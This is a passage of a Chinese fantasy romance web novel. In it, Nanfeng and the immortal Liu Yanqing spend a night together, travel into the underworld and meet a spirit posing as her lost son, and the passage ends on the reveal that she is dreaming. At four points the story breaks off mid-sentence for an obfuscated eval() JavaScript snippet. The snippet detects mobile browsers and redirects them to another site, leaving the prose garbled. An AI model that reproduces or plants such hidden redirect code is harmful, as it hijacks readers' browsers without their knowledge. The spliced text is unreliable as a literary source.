苌偲见人来,又是一掌把我推翻,提着湿漉漉的裙摆起身迎接柳砚清。 “仙人!多谢仙人救命之恩,小女无以为报,还望仙人莫要嫌弃我。” 我,无语。 柳砚清屈膝抱起地上的我,温热的掌心贴着我的后背,不忘替我整理衣裳。我没好气地拨开他的手自己弄。 柳砚清转向苌偲,神色端肃:“抱歉姑娘。这位是我夫人,所以,没办法如姑娘的愿。不过家父的病,我会尽力而为。” 苌偲踉跄后退半步,看看柳砚清,又看看我。 “夫人?你何时成的亲?” 柳砚清眸光温柔地落在我身上:“三年前。” 三年前,信州府,我与颜卿的婚事,眼下砚清终于肯直白地承认是与他了呢。 我猛地揪住柳砚清的衣领:“三年前?呵,仙人倒是会挑时候认账呐。” 他顺势握住我的手腕,情不自禁扬起唇角:“知道夫人醋意上头,特意交代的。” 我咬牙切齿地抽回手,瞪了他一眼。眨了眨眼,后知后觉地反应过来他刚才是演给苌偲看的,好让这痴情的姑娘死心。 算了,死马当活马医吧。 我往他怀里蹭了蹭,手肘撞了撞他,暗戳戳使了个眼色,示意他揽上我的腰。柳砚清瞬间明白,腰是揽上了,可…… “没叫你亲我啊!” 近在迟尺的脸露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056818|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出恍然大悟的神色,却分明带着得逞的笑意:“抱歉,误解了。” 哪是误解,分明是趁火打劫! 我磨着后槽牙,瞥见不远处。 呆若木鸡的苌偲维持在同一种状态,撂下她直接实属不妥,柳砚清与我不谋而合,说去把里屋“收拾”一下,留下我和苌偲单独坐在院内的石磨上。 “苌偲?” 我试探着唤道,伸手在她眼前晃了晃。 她倏地垂下头,又抬起。 “我早该清醒仙人只是我梦里的一道背影……” 说到这里,她呵呵地笑了几声。 “写不出羡煞旁人的故事,也遇不到玉树临风的良人,兄长功成名就弃我们而去,爹爹一怒之下卧床不起……为何所有的不幸都降临我身上?是我做错了什么,惹恼了上天?” 我望着她颤抖的肩膀,心头突然泛起酸楚。轻轻将她揽入怀中,学着娘亲的温柔安慰她。 “不是的。”我从怀中取出绣帕,擦拭她脸上的泪痕,“所有的不幸都为了迎接更好的幸福。不幸只是暂时的,一切都会春暖花开。” 我说不出感人肺腑的话,只能用从别处听来的话安慰她。希望有用吧。 “你喜欢花吗?”我问她。 她侧过头望向院角的一棵枯树,熬过春天依旧没开花的树。 “爹爹喜欢桃花,他病倒后,花也不开了。” 我浅笑着勾开她黏在脸庞的发丝,“其实你挺关心大伯的,为何总说那些无情的话呢?” “因为他笨!为了那种人把自己气倒!” 似是打开了话匣子,苌偲拉着我说了好多好多关于他高中状元之后与这个家划清界限的兄长。 为迎娶某家小姐,生怕小姐觉得两家门不当户不对,兄长便写下字条,与苌偲和爹爹划清界限,对外称自己是孤儿。苌偲她爹看着含辛茹苦养育出的儿子如此没良心,一气之下晕倒在屋中,直到现在。 “没良心的家伙!我之后去找他,跟他说明此事,那个畜生居然叫人买了口棺材送来!巴不得他爹死,自己真成孤儿呢!” 苌偲气得身体发抖,一拳砸在屁股下的石磨上。 我抚摸她的后背,安慰道:“等大伯醒了,我们一起去把那个没良心的揍一顿!” “临街处死!” “对!” 远处默默观望的柳砚清无奈摇了摇头,看向那棵枯败的桃花树。我察觉到他的注意,以为他会施展法术让花树起死回生,他却没有。 日落离开时,苌偲送我们到村口,挥手告别后我转身便问柳砚清:“方才为何没施法?” 柳砚清说:“那棵树的灵魂与大伯捆绑在一起。待他苏醒后,自会开花。” 我了然地点头。 之后,直到他将我送到江府门口,我们都没再说话。夜露悄然凝结在石阶上,映着破碎的月光。 “又要道别了,仙人还不肯告知我真相吗?” “何事?” “你瞒着我的事还少了吗!定是件大事,否则你为何不让我一起去?” “因为那里是地府,死人才会去的地方。” 他的话说得很轻很淡,却让我瞬间愣住。 我对上他的视线,却听到自己如擂鼓般的心跳。清风不止,而他目光始终如初,沉静且深邃。又好似烧起了火,将我融化。 “我受不住再看你转身离我而去。每一次,都像是把旧伤重新撕开……而我已没有新的血肉,可供思念啃噬。” 106. 星河欲转 鬼使神差地,我朝他伸出手,把双手放在他的脸颊边,盯着他的眼睛。 “你还真是……” 把我玩弄于股掌之间呐。 唇齿不停地咬合在一起,发出撩人的声响。夜风裹挟着若隐若现的花香,是暧昧的,旖旎的。 天旋地转间,下一秒我便被柳砚清带着回到了江府的卧房,被他压到了床上。灼热的呼吸烫在颈间,直令人心痒。 不是梦,是真实的他。 “说来,某个晚上我梦见你,也如这般,夹杂着恨意的欢愉……” “眼下呢?还恨吗?” “知道你情非得已,有点恨不起来。倒觉得你一点不像仙人,像蠢人。” 柳砚清呼吸顿了顿,随即又按着我,加深了这个吻。 “是啊,愚蠢至极……无药可救。如今想来,最后悔的事,便是想将你拱手让人……” “好在我不是召之即来挥之即去的东西,认定了你,你休想把我甩开。” 思念,抑或是执念。 春雨绵绵,如丝如织。 似被抢夺了神识理智,春野四处都被他侵略,全部春光都软在他的怀里,颤抖着只能被吻得更深。粗重的喘息中夹杂了几分拉扯,我撞见他蹙紧的眉头,突突跳动着搅在一起,拧成一股绳牵引着我,将我慢慢吞进体内。 当最后绳索松开桎梏落下的瞬间,我感到视野的场景重新清晰,围绕在耳边的呓语渐渐地安静了下来。 柳砚清拨开我额前濡湿的发丝,落下一吻。我说不出话,只呆呆地凝视着他,看他起身坐在床沿整理衣袍。 这是……要走了?我该拉住他,身体力行告诉他别走吗?这样岂不显得我痴情好色?不对,他是我名正言顺的夫君,做什么都理所应当吧? “南风。” “啊?” 他深深地望着我,然后又躺回了我身边。 “睡吧,我不走。” “……你又听见我心声了?” 此番他没有说谎。 慌忙醒来后看到那张熟悉的睡颜,我竟感动到差点哭出来。 柳砚清枕着手臂,侧着脑袋看我,那双清冷深沉的眸子里,映出我初醒的面容。 “笑什么?” 我在笑吗? 摸了摸紧绷的唇线,呈上扬的弧度……感知自己快藏不住笑意,我假借闻到屋外飘来的香气来掩饰。 “看来今日的早膳挺丰盛,这儿都能闻见。” 柳砚清似笑非笑地垂下眸子,假设我的猜测没错,他吃醋了。 于是我窃喜着向他凑得更近,额头抵着他的额头。 “今日难得夫君在侧我,一起上街填饱了肚子,我们就出发。” “好。” 通往地府的路,除了跳江跳井和死亡,其实还有一条鲜为人知的途径,那便是地府与人间接壤之处的幽冥大门。 直到此刻,真真切切站在这座巍峨大门前,才不得不信。漆黑的门扉高耸入云,上面镌刻着古老的冥文,每一笔都仿佛在流动,散发着幽幽蓝光。 “原来真有……这种地方啊。” “幽冥大门并非随时都在,只有在一日中阴气最盛之时,特定地点出现半个时辰。” 转头看向柳砚清,却发现素来从容的仙人此刻面色苍白,目光游离。 “你不是在我身边吗?怕什么?而且,这次是大大方方走着去,不会有事的。” 不等柳砚清回神,我掏出怀里的红绳拴在他的手腕上,自己则牵着绳子的另一端。 “不学你,我不会松手的。” 柳砚清怔怔地望着腕间的红绳,忽然轻笑出声。他抬手轻轻拂过我的发梢,说道:“我会好好跟着你的。” 当他把掌心贴上一道不可见的屏障时,水波漾开,大门突然发出沉重的轰鸣,缓缓开启一条缝隙。 阴冷的风从门缝中呼啸而出,吹得红绳剧烈晃动。柳砚清下意识反手握住了我的手,力道大得生疼。 “仙人是在害怕?”我小声调侃,却忽地被他一个用力拉入怀中。 “答应我,无论看到什么,发生什么,都别松手。” 我点点头,将红绳在掌心又绕了一圈。门缝中透出的幽蓝光芒映在他轮廓分明的侧脸上,那双总是含笑的眼眸此刻深邃如渊。 幽冥路上阴风阵阵,血色的雾气在脚边缭绕。每走一步我都感觉什么侵蚀我的身躯和意志,若不是柳砚清冰凉的手牵着刺激着我,恐怕我早学身边擦肩而过的阴鬼那般飘走。 “果真有种似曾相识的感觉。” 倏地晃神,幸好柳砚清及时捏醒我。 “保持清醒,别被迷惑了。” “嗯……” 忘川河边,我看着眼前的一幕发愣。明明是亡魂,喝过孟婆汤忘记前尘的阴鬼,它们竟然还会无意识地流泪。 只不过那涌出眼眶的泪,不是泪,是血。 长亭外细雨湿柳,古道边听故人长叹。 无数游魂排着长队,木然地向前挪动,衣袂拖过潮湿的地面却无声无息。 又是一群行色匆匆的阴鬼从我面前跑过,是一群孩子,不知要去哪儿。 有什么声音在耳边念叨叨什么,我决定跟上去看看。 我不禁加快脚步,在茫茫鬼魅中寻找与我与他相似的脸。尽管时间过去那么久,我甚至不知道他有没有好好长大成形……可我害怕,害怕他随着大军渡过奈何桥,不让我见上一面便跌入轮回。 他甚至……还没有名字。 耳边传来急切的呼唤,一声又一声喊着陌生的名字。好像是我的声音,我呼喊的……是那孩子的姓名? “南风,冷静一点。” 我听不见柳砚清的声音,像着了魔似的在鬼群中横冲直撞。阴鬼如残烟,我可以从他们的躯体中任意穿梭。 “南风!”手腕突然被一股大力钳住。 “我找不到他……砚清,我找不到他在哪儿……” 柳砚清拽住我的手腕,半是强迫地让我面向他。 “看着我的眼睛。” “……不看。” 我倔强地别过脸,却被他捏着下巴强行转回,拽着我撞进他的胸膛。清冷的药草气息瞬间笼罩下来,他的目光如锁链般牢牢锁住我。 “我们会找到他的,不必担心。” 我抬起早已哭得红肿的眼睛:“结合过去经历的事情,我合理怀疑你知道他在哪里。然后又因为这门那门的,偏生不告诉我!” “我是这样的人吗?” 我用力推开他,“你就是!你这个骗子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056819|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不错,他就是个骗子。” 一个阴恻恻的声音突然从背后响起,我们一同回头。一袭白衣飘然而至,惨白的面上挂着永恒的笑靥。 “白无常?” “仙子呐,信谁都不能信眼前这位仙长的话呀。他可从头到尾,没有一句话是真话呢。” 我又瞪了眼柳砚清,他面色如常,唯有眼底闪过一丝晦暗。 “这一点我当然知道。” “仙子不知道的事可太多了。难得来地府,要去看看风景吗?” 冰凉的手指突然点在我额间,我拍开她的手。 “没那心思。” “有的有的!” 白无常突然凑近,苍白的脸几乎要贴上我的鼻尖。我还没来得及反应,就见她猛地一挥招魂幡,四周景象骤然扭曲,诡谲的笑声渐渐飘远—— “二位客官慢慢欣赏哟~” 眼前天旋地转,再睁眼时已置身于一片寸草不生之地。好似凡间,却不见粮田和屋舍。 我东张西望,面对陌生的景象发问:“这里是……” 柳砚清沉下眸子说:“利州。” “利州?小花?” 我喉头发紧,突然明白白无常要带我们看什么。 柳砚清轻车熟路地向着某个方向前进,我心底发寒,只好跟上。 我们最终停在某处山岗上,这个位置能清晰地看全当年发生的事情。 幻境浮现,成群的人排着队,走下挖好的深坑中,他们脸上带着诡异的平静,任由岸上的人往自己身上泼洒什么,然后…… 火光冲天而起时,我死死咬住嘴唇直到尝到血腥味。我大惊失色地观望这场荒诞的“葬礼”,目光始终落在负手立于火坑边的那个人身上。 “让仙长白跑一趟,实在抱歉。”村长佝偻着腰,浑浊的老泪纵横,满含歉意地叹了口气,“村子养不活那么多人,只好出此下策……两口子舍不得孩子,便自己去了。不过大家会照顾好三个孩子的,仙长放心。” “……嗯。” 当年的柳砚清只是淡淡应了一声,眼底映着跳动的火焰。 “还请仙长祝福他们来生投胎一户好人家,不再受病痛折磨,穷困缠身。” 幻象消散,刺鼻的焦臭味却仿佛还萦绕在鼻尖。柳砚清向前迈开步子,停在依旧冒着青烟的火坑边。 我从震惊中恢复神智,浑身发抖地冲到他身边。 火光缭乱,我的目光落在他晦暗不清的双眸中,而他却仍盯着火坑里逐渐焦黑的尸体。 “你当年可说的是他们因不治之症而死。” “我并未说错。” “你当年可是说你无能为力……” “确实如此。” “……你这个杀人犯。” 他终于转头看我,“人各有各的命数。他们的命数至此,仅此而已。” “柳砚清!!!”我声嘶力竭地怒吼,山间回荡着破碎的回音,“你明知——你算个什么仙人!” 他温柔地望过来,那双总是含情的眼睛此刻竟盈满慈悲,恰似春水般注视着我怒火中烧的眼睛。 理智的弦终于崩断。我伸出手,用尽全力一推。柳砚清踉跄着后退两步,神色如常地站稳。 “我真的……越来越讨厌你!” 107. 寒星万点 柳砚清想要开口说些什么,半晌后抿紧嘴唇,眼眸中不掺杂任何情绪。 “我还是那句话,人各有各的命数。” 差点脱口而出去你大爷的命数。忍了忍,没骂出口。 心上蒙尘,我深知那不是柳砚清的错,却无法冷静下来。蛮狠地抹掉脸上的灰烬与泪,我松开红绳,丢下他自己离开。 走出幻境,白无常坐在彼岸花海的青石上,望着地府永夜中不存在的月亮出神。烟雾缭绕间,她惨白的面容也多了几分妖冶。手中的烟管泛出香气,唇缝中吐出的白雾转瞬即逝。 “白无常。” 她懒洋洋地放下烟管,笑靥似乎更深了几分:“哟,仙子呐,风景如何?” 懒得搭理她,我直截了当道:“我要找我的孩子,告诉我他在哪儿。” 白无常透过渐散的烟雾望来,那双死水般的眼眸里泛着诡异的光。她慢条斯理地吸了一口,忽然倾身向前,将烟圈轻轻吐在我脸上。 “那孩子是我们的,可不能被仙子带走。” “我只想见见他。” 白无常随意向后仰去,衣摆滑落露出苍白的脚踝,一手撑在身后青石上。 “罢了。阎王交代过,你若想见,便如你的愿。”她随手一指,“顺着忘川河一路北上,他在灵山上,仙子去吧。” “当真?” “我可不是柳仙人,我可从不说谎。” 白无常忽然探头看向我身后,脖子伸长到一个不可思议的弧度,空无一人。 “哎呀,吵架了呀?安心安心,夫妻吵架家常便饭。我是习惯了,你看老黑,知道你来居然害羞到公然旷工,啧啧啧。” “不是害羞,是心虚吧。” 白无常闻言,脸色愉悦,龇牙咧嘴地笑起来,做出一副按耐不住激动想与我分享的兴奋状。 我略一思索,说道:“算了,我现在没心思深究他。” 白无常怔愣,突然皱起眉颇为不解的样子围着我转了圈,又坐回青石。 “嘶——我是与仙子多久不见?怎么感觉……你变了呢?与我在信州遇见的那位知县夫人,判若两人呢?” 见我没搭理她,她继续自顾自说着。 “这地方果真不适合仙子呢。次次来,次次都变了性子,弄得我都晕头转向的。” 话音未落,忘川河畔突然传来吵闹声。白无常“啧”了一声,身形如烟般从青石上飘下。 “啧,这些个死鬼,尽给我找事。难得跟仙子聊上几句……” 白无常叼着烟管慢摇慢摇地离开。我又回头看了眼幻境出来的地方,跳跃较长的距离,与河水彼岸的人相视。仅是匆匆一面,游离的亡魂便遮住了我的视线。 转身朝灵山方向走去。 【又拂卿柳】 黑无常站在河岸边,与那人短暂地对上视线。蜉蝣与猩红花瓣如同星子落地,嘈杂的哀鸣声中,他竟清晰地听见了自己的心跳声。 身侧响起脚步声,黑无常立马恢复如初藏起本心展开伪装。 柳砚清与他并肩而立,说道:“多谢。” 黑无常从容不迫地回道:“例行公事而已,仙长不必道谢。” 一黑一白,性子极其相似,皆如冰潭的一仙一鬼不约而同地望着远行之人的背影,良久无言。 她穿过枯枝败叶,随性地拨开拦路的荆棘。 黑无常不禁调侃道:“仙长莫非……有什么虐妻的癖好?” 柳砚清瞥了眼黑无常,视线重回,沉声道:“时日将至,却离目标尚有距离,不得已而为之。”他顿了顿,又说道,“变数太多,我也不想看她受伤。” “变数?何等变数?” “明知故问。” 黑无常便是整个故事中最大的变数。 始作俑者不以为然,发出令人毛骨悚然的笑声。黑无常背过手去打趣道:“我总得为自己考虑吧。神仙自私,凡人自私,阴差就自私不得?阎王耗尽心血寻不来继承者,他是恩人,我理应替他打点好一切。反正是梦,或许他生来就该登上御座。” 说完,黑无常不忘观察仙人的神情。 柳砚清轻叹口气,说道:“到头来,全被她一人抗下。她讨厌我也罢,恨我也罢,只要结局圆满,我都无所谓。” 鱼馁肉败之事,已无挽回的余地。 唯有“重生”。 黑无常笑意森然,摇头晃脑感慨:“以退为进,实属良策,不愧是仙长。不,如今该改口了。既是现任阎君之父,自当尊称一声……‘仙尊’。” 说罢,他竟整理衣冠,在柳砚清面前行了个大礼。 仙人无语,冷着脸转身离去。 【又见东风】 忘川河水在脚边呜咽,像无数亡魂的低泣。沿着河岸走了约莫一个时辰,眼前景色骤然一变。浓墨般的黑暗被一片苍翠取代,仿佛有谁在此划下泾渭分明的界限。 我低头看向脚下,泥土从漆黑突然转为青绿,一条细细的红线横贯其间,在月光下泛着微光。 “这是什么?何时多出的一条红线?” 我抬起手腕,发现那条若隐若现的红线不知何时变得清晰起来,像是有生命般缠绕在腕间。试着解开时,红线却如烙进皮肉般纹丝不动。 顺着红线望去,它延伸向远方,最终消失在地府方向的雾气中,另一端悬在半空,仿佛系着看不见的什么。 “先进山再说吧。”我喃喃自语,抬脚踏过分界线。 霎时间,脚下野草疯长,一条小路如游蛇般在眼前铺展开来。石板缝隙间开着细小的白花,随着我的脚步次第绽放。 整座灵山寂静得可怕。除了风吹过树梢的沙沙声,竟听不到半点虫鸣鸟叫。我取出随身玉笛,冰凉的触感让人稍稍安心。闭目凝神间,神识化作一只青鸟,穿过层层叠叠的树冠。 “你是谁?” 一道清泠如碎玉的声音,惊得我猛地睁眼。青鸟视角最后捕捉到的画面,是密林深处一抹雪白的衣角。 真的有人!而且……那声音稚嫩得像个孩童。 我握紧玉笛,心跳如擂。莫非真的是他?他已经长成那么大点的孩子了?明明星辰都还刚学会走路而已。 怀揣着忐忑不安,我朝着方才看到的画面位置走去。生怕对方溜走,我不禁加快步伐。 郁郁丛林,一路上除了灵山的珍奇鸟兽外,遇不到一个人。快走到位置时,远远望去,依旧不见人影。 已经离开了吗…… 走近细看时,突然发现树干上刻着深浅不一的刀痕,这些痕迹排列得极有规律,深的一端齐齐指向山林深处。 定是方才那人留下的标记。 一路爬坡上坎,最后的标记停留在丛林尽头,再往前便是山谷深处。 我只远远地看见有人站在山巅,向我微微躬身,游刃有余地迈开步子,踏着随他脚步生出的云彩走来。直到近了些,我才发现那居然是位老者。 为何声音听上去是个少年? 那老者鹤发童颜、神采奕奕,手持一柄拂尘,明明须发如雪,双眸却清亮如少年。 “仙子可是为寻人而来?”他的声音与方才神识中所闻一般无二。 我下意识否认:“……不是。” 老者拂尘轻扫,眼角浮现细纹,笑道:“老夫能一眼看透人心,仙子不必遮掩。” 他转过身,不再腾云驾雾,靠着双脚走在前头,似要带我去什么地方。即被认出,我也放下几分警惕,默默跟在他身后踏入深山。 “那孩子,可有名字?”老者突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056820|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然发问。 我望着老者背影,犹豫片刻道:“暂时没有。” 老者露出了然的神色:“原来如此。” 沿着蜿蜒的山道,我感觉到他要到我去的是山巅。我抬起手腕,那根红线依旧牢牢绑在手上,延伸向后方。 “仙子手上的红绳是什么?”他询问的语气是单纯的好奇。 我摇头坦白自己也不知。 老者带我一路爬到的山顶,短短一个时辰的功夫,方才还明晃晃的日头,转眼已化作墨蓝的天幕上缀满寒星万点。夜风彻骨寒凉,我拢紧披衣,呵出的白气转瞬消散在凛冽的风中。 “虽不是地府最高处,我却很喜欢这里。望不见亡魂,倒像天上人间。” 他抬手轻拂,袖间流泻出点点萤火。 我凝目远眺,确实难以相信此处竟是地府。远处群山轮廓温柔,林间浮动着幽蓝的萤光;近处野花在夜风中摇曳,散发着淡淡的清香。若不是知晓来路,真要以为置身人间某处仙山。 “这里是地府……”我伸手接住一朵飘落的白色山花,“怎会有生灵?” 老者笑而不答,只是指向天际。一颗流星正划过夜空,拖曳出银蓝的尾迹。那光芒映照下,我忽然看清,那些所谓的“山花”,竟是凝结成形的魂魄之光;而远处"萤火",实则是徘徊的游魂。 从始至终就不存在生灵。 “地府万象,何必拘泥形骸。” 老者捋须轻笑,脚下忽然生出一朵红莲,托着他缓缓升起。 “仙子且看。” 随着他拂尘轻扫,整座灵山突然褪去伪装,草木化作森森白骨,山石显现出扭曲的人脸。 我惊吓着踉跄后退,却被他一把拉住。 “仙子别怕,这才是真实的灵山。” 他收起幻象,骇人的一切顷刻消失。 “仙子忙于大事,可还记得自己的一儿一女?” 我心头一颤:“当然记得。此番前来,就是为了寻找灵山的仙者,问问那个未曾谋面的孩子,身处何处。” 眼看来,我寻对人了。 老者移开目光,意有所指地问道:“地府与绝世仙骨,仙子会想到什么?” 我会想到绝对的神力与至高无上的地位。我见过上一个绝世仙骨,三百多岁的年纪竟能与千年万年修为者匹敌。但我不敢直言,希望他还活着,让我重新见到他。 看穿我的心思,他笑了笑,将手伸向夜空,隔空握住一颗星星,收回眼前摊开掌心。我差点惊呼出声,咽了口气怔怔地盯着他掌心里悦动的光芒。 “徒手……摘星?!” “这些不是天上的星星,而是人间,一个叫星辰的孩子流下的眼泪。” 我怔怔望着他掌心那滴晶莹如露的星星,里面竟映出模糊的人影。那眉眼像极了砚清,唇鼻却与我如出一辙。就在我颤抖着伸手时,星光碎裂,化作细碎的萤火消散在夜风里。 “你的意思是,此时天上的每一颗星,都是星辰的眼泪?” 老者瞥我一眼,眸光含笑,悠然道:“那个思念亲人的孩子,收集了至亲之人的泪珠,于此点缀夜空,让晦暗的夜亮起光。” 思念亲人……至亲之人…… 他忽然抓住我的指尖,我惊颤了一下,偏过头去,方才的老者俨然恢复了原本的模样,变成个穿着玄色官服的少年。 星星的光影在眼前挺拔的少年身上摇晃,勾勒出柔和又动人的轮廓。官服虽大了些不太合身,但有种生来就属于他的适配。 “你……” 我喉头发紧,额头沁出密汗,积压的愧疚与思念几乎将胸腔撑破。 少年突然红了眼眶,星光在他眸中碎成千万点: “娘亲不记得我了吗?娘亲把孩儿忘了吗?” 108. 似黄粱梦 周身煞气如墨般翻涌显现,他缓缓抬起头凝视着我,这张脸早已无了稚嫩英气,混淆于老者与少年之间,狰狞邪恶。 整座灵山陷入可怕的沉寂,连风都凝滞不动。我的脚步如生了根般钉在原地,冷汗浸透后背衣衫。强压下狂跳的心,我皱紧眉头强迫自己冷静。 “你不是我的孩子。” 他歪着头,脖颈发出令人牙酸的咔咔声,突然暴睁的双眼布满血丝。 “娘亲再好好看看,我可是千百年难得一遇的绝世仙骨啊,娘亲怎会认不出我?” 我呼吸一滞,心脏在胸腔里疯狂撞击,几乎要震碎肋骨。猛地后退时,却被他枯枝般的手死死钳住手腕,皮肉瞬间泛起紫痕。 “娘亲要去哪儿?” 眼前不人不鬼的东西咧开嘴角,笑意吟吟地看着我,细嫩的手顷刻间布满皱纹,凸起青紫色的血管。我拼命挣扎,但挣不开一点。 “你放开我!我不是你娘亲!” “娘亲好过分……抛弃我,拿我做了赌注,现在又不认我……” 他的声音突然染上哭腔,眼角却渗出黑血,煞气在他周身形成漩涡。 “娘亲真的……太、过、分、了!!!!” 话音落下,数十道黑色煞气凝成利刃,带着凄厉尖啸直刺而来。就在刃尖即将贯穿咽喉的刹那,腕间那根红线突然迸发红光,如活物般猛地拽着我向后飞退,堪堪避过致命一击。 我倏地往红绳牵引的另一头望去,依旧不见人影。 不过得抓紧时间跑了! 我朝着来路狂奔,不敢一刻怠慢。但越来越多的黑刃像是有意识似的,对我穷追不舍,横冲直撞而来。 “呃啊!” 刀刃精准地从脸庞擦过,拉开一条口子。鲜血顺着脸庞滑落,钻入嘴角,喉间满是血腥。 突然,脚下的山地毫无征兆地扭曲起来,像被人拧干毛巾似的天旋地转。 难道白无常欺骗我?引诱我至此,想置我于死地?! 手在空中胡乱抓,一股无形的力量拉扯我的手臂,不许我伸向怀中的玉笛。唇齿间说得出任何字,偏偏在欲要呼唤玉笛时,被一道莫名的力量定住,发不出声音。 身体飞在半空,灵山恢复原貌。刚才的“人”不见踪影,一切皆似什么也没发生一样。 极速坠落,身下是万丈悬崖。 “吁——咦——” 玉笛听不见我的声音,也感应不到我的危险,静静地待在怀中。 我绝望地闭上眼,害怕极了。 “呜……”我无声抽噎着,抱紧自己单薄的身影,“我害怕……砚清……我好怕……” 身后突然传来稳重的力量,有人托住我,两掌贴在我的后背上。 他抱着我跃上苍穹,直到脚下的万山之林变成一片苍翠的绿,丝丝云絮从身边掠过。然后天旋地转,身子与他同步调转方向,飞向天地尽头。 我蜷缩在他温热的怀中,能清晰听见他沉稳的心跳声。他带着我在云雾间穿行,最终降落在半山腰一处突出的石台上。脚尖触地的瞬间,我的双腿仍在发软,被他稳稳扶住腰肢才没有跌倒。 山洞幽深,岩壁上凝结着晶莹的水珠,在微光下泛着冷色。我的心悸尚未平复,可鼻尖萦绕着他身上清冽的松木香,混合着淡淡的药草气息,竟一点点消融了我紧绷的神经。 我咬紧下唇,暗恼自己竟这般没出息,明明方才还在气他,此刻却因他的气息而安心。抬眼时,视线不自觉地描摹着他侧脸的轮廓 似是察觉到我的目光,柳砚清忽而垂眸,眼底映着洞外微弱的天光,深邃得像是能望进人心底。心下不想他看,我索性将脸埋进他的颈窝。 走到洞内一处平坦的石台边,他轻轻将我放下,指尖却顺势滑入我的指缝,十指相扣。我下意识想抽回手,他却并未强留,只是松开时,指腹若有似无地蹭过我的掌心,惹得我指尖微颤。 “有哪里疼吗?” “不用你管。” 我别过脸去,奈何脸上的伤过分明显,藏都藏不住。 柳砚清忽而抬手,强硬地扣住我的肩膀,不许我躲闪,眼眸里的心疼快要溢出。 “别担心,不会留下疤痕。” “……我倒没想过这一点。” 能活下来便感天谢地,破不破相……似乎没那么重要。 袖中仙蝶飞出,在他掌心变幻成白玉药瓶。 “上药的时候有些疼,忍一忍。” 柳砚清指尖轻擦过伤处,动作极尽温柔,可眉头却紧蹙着。 我望着他的脸,试图从他沉静的神色里窥探出什么。他此刻在想什么?是否和我一样,心里翻涌着说不清道不明的情绪? 山洞外暴雨如瀑,雷声轰鸣,仿佛要将天地淹没。 “这世道从一开始便问题百出。”他突然开口,手指依旧替我上药,“无论人间还是神界。同样为人,却有尊贵卑贱。神仙不可干涉生死,却孕育出了起死回生之术。” 我安静听他说着。上药完毕,药瓶重归仙蝶模样,并未飞回他袖中,而是振翅飞来,立在我的指尖。 “可你却救了他。”我盯着仙蝶问柳砚清,“为何?” “因为你。” “……” 在我短暂的走神之中,柳砚清起身打理周围,收拾出一方供我今晚过夜的地方。而后,折返将我抱上柔软之地。 “前世的我为了寻欢作乐,四处招惹男人,却从未为你做过什么,你不会觉得不公吗?”我问他。 “不公又如何?” 这是反过来问我? 我瘪瘪嘴,“我在问你啊。” 柳砚清似笑非笑,手放膝上端坐床沿,说道:“不是疑问。” 是答案。 他眼神洒落月光,外面的雨转瞬间停了?好似有月光愈发澄亮,化为仙蝶,落在我身边。 “睡吧,有危险仙蝶会告知我。” 见他欲要起身,我佯装愠怒,把他按了回来。 “又想把我丢下吗!外面那么大的雨,万一你淋湿染了风寒——” 等等,我不该生气吗!怎么还担心起他了?! 恼羞成怒的我又把他推开,气鼓鼓地呵斥道:“去吧,淋湿我也不会心疼你原谅你的!” 视野中的人影片刻间就这样消失不见了。 走了?真走了?! “柳砚清!!老——” “嗯?” 旋即,我怒骂的表情凝固在脸上,他又抱着什么出现在眼前,手里多了捆木柴。 “感知到林间有堆干柴,我抱来生堆火。” “……” 入夜,我闭上眼睛,听着耳边属于柳砚清的呼吸,却并没有睡着。 有些许不太真切的感觉。 我偏过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风揉碎了雨,拍打着渴求甘霖许久的土地。他的瞳色清透,令人不禁着了迷。反观我,浑浊的双眸中看不清除他以外的任何。 果不其然,只要是他就好了。折磨到出生入死,也罢。 雨后清新的空气将整座灵山笼上一层淡雅的恬静,白雾弥漫,全然望不见地府另一端。我忍不住在洞口驻足,一时有些挪不开步子。 “地府……灵山……为何至今发生的一切都那么不真切……是我活在梦里,所以才……” 柳砚清不知何时都到我身边,山间凉爽的夜风阵阵吹过,拨乱了他垂下的墨发。 “终于察觉了吗?” “什么?” “若一段故事一段情为一首歌,那这场梦便该叫……九歌一梦。” 在和我的目光相对的同时,那双毫无波澜的眼眸中瞬间闪过一丝我不懂的情绪。 是错愕?是懵然?是怜爱?是思念? 心忽然悬起,久违地感觉到恐惧。 我问道:“梦?是说我活得不够真实,还是——” 柳砚清答道:“做梦的梦。你现在,是在梦里。” 109. 